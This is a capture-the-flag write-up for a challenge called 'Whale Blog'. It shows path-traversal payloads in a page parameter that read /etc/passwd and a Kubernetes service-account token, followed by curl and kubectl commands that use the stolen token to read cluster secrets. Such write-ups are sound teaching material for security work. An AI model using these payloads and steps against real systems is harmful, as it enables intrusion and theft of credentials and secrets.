# Whale Blog
This was in the cloud section and the info was a strong hint that this involved Docker and a link to a website http://whale-blog.duc.tf:30000.
I spent a bit of time looking around the website and clicking on the available links. The other blogs on the site were being loaded by a query parameter in the URL `?page=page1`. Because I'm an optimistic soul, I immediately tried `?page=flag` which didn't get me a flag but did show me in the dev tools that the server tried to load the file specified in the query and printed the output as a comment in the HTML. The error message was```>Warning:  file_get_contents(./page3): Failed to open stream: No such file or directory in /var/www/html/index.php on line 6```From this, I wondered if I could get any other files in the server container. `?page=../../../etc/passwd` went very well and printed out the contents of `/etc/passwd` as a comment in the HTML. However, it didn't get me closer to finding a flag and I couldn't find an obvious `flag.txt` file in the container to read.
I decided to have a look at the volumes mounted onto the container and so put `?page=../../../proc/mounts`. This revealed a mount called `/run/secrets/kubernetes.io/serviceaccount`, indicating that the container was running on kubernetes and that was the service account details for the pod to authenticate with the kubernetes api-server.
This was very interesting, so I quickly looked up the general format of `/run/secrets/kubernetes.io/serviceaccount` and found out that it normally contains a `ca.crt` file and a `token` file, containing the certificate and token respectively. At this point I moved away from the browser and dev tools to make it a bit easier to copy the secrets out. Running```curl "http://whale-blog.duc.tf:30000/?page=../../../run/secrets/kubernetes.io/serviceaccount/ca.crt"curl "http://whale-blog.duc.tf:30000/?page=../../../run/secrets/kubernetes.io/serviceaccount/token"```got me the certificate and the JWT token the server pod uses to connect to the api-server of the kubernetes cluster it runs in.
At this point I was theoretically able to connect to the kubernetes cluster running the site using the pod's credentials, however I didn't know where the api-server was. Fortunately there was a helping hand in the form of a comment in the web HTML: "I wonder if we will deploy this at whale-blog.duc.tf or at whale-endpoint.duc.tf", so I decided to give whale-endpoint.duc.tf a go. The kubernetes api-server normally serves out of port 443 so I ran```curl -X GET https://whale-endpoint.duc.tf/api/core/v1/secrets --insecure```which produced```{  "kind": "Status",  "apiVersion": "v1",  "metadata": {
  },  "status": "Failure",  "message": "v1 \"secrets\" is forbidden: User \"system:anonymous\" cannot get resource \"v1\" in API group \"\" at the cluster scope",  "reason": "Forbidden",  "details": {    "name": "secrets",    "kind": "v1"  },  "code": 403}```indicating I'd found my api-server. I then saved the token as $TOKEN and ran```curl -X GET https://whale-endpoint.duc.tf/api/core/v1/secrets --header "Authorization: Bearer $TOKEN" --insecure```for further confirmation before configuring kubectl to use this token and cluster and having a look around:```kubectl config set-credentials ductf --token=$TOKENkubectl config set-cluster ductf --insecure-skip-tls-verify --server=https://whale-endpoint.duc.tfkubectl config set-context ductf --cluster=ductf --namespace=default --user=ductfkubectl config use-context ductfkubectl get secrets # showed a secret called nooooo-dont-read-mekubectl get secret -o yaml nooooo-dont-read-me```I could get the base64 encoded version of the secret from the yaml of noooo-dont-read-me. Base64 decoding it produced the flag!
I really enjoyed this challenge but did have one pedantic niggle. It said in a few places that it's a Docker challenge but really it's a Kubernetes challenge :P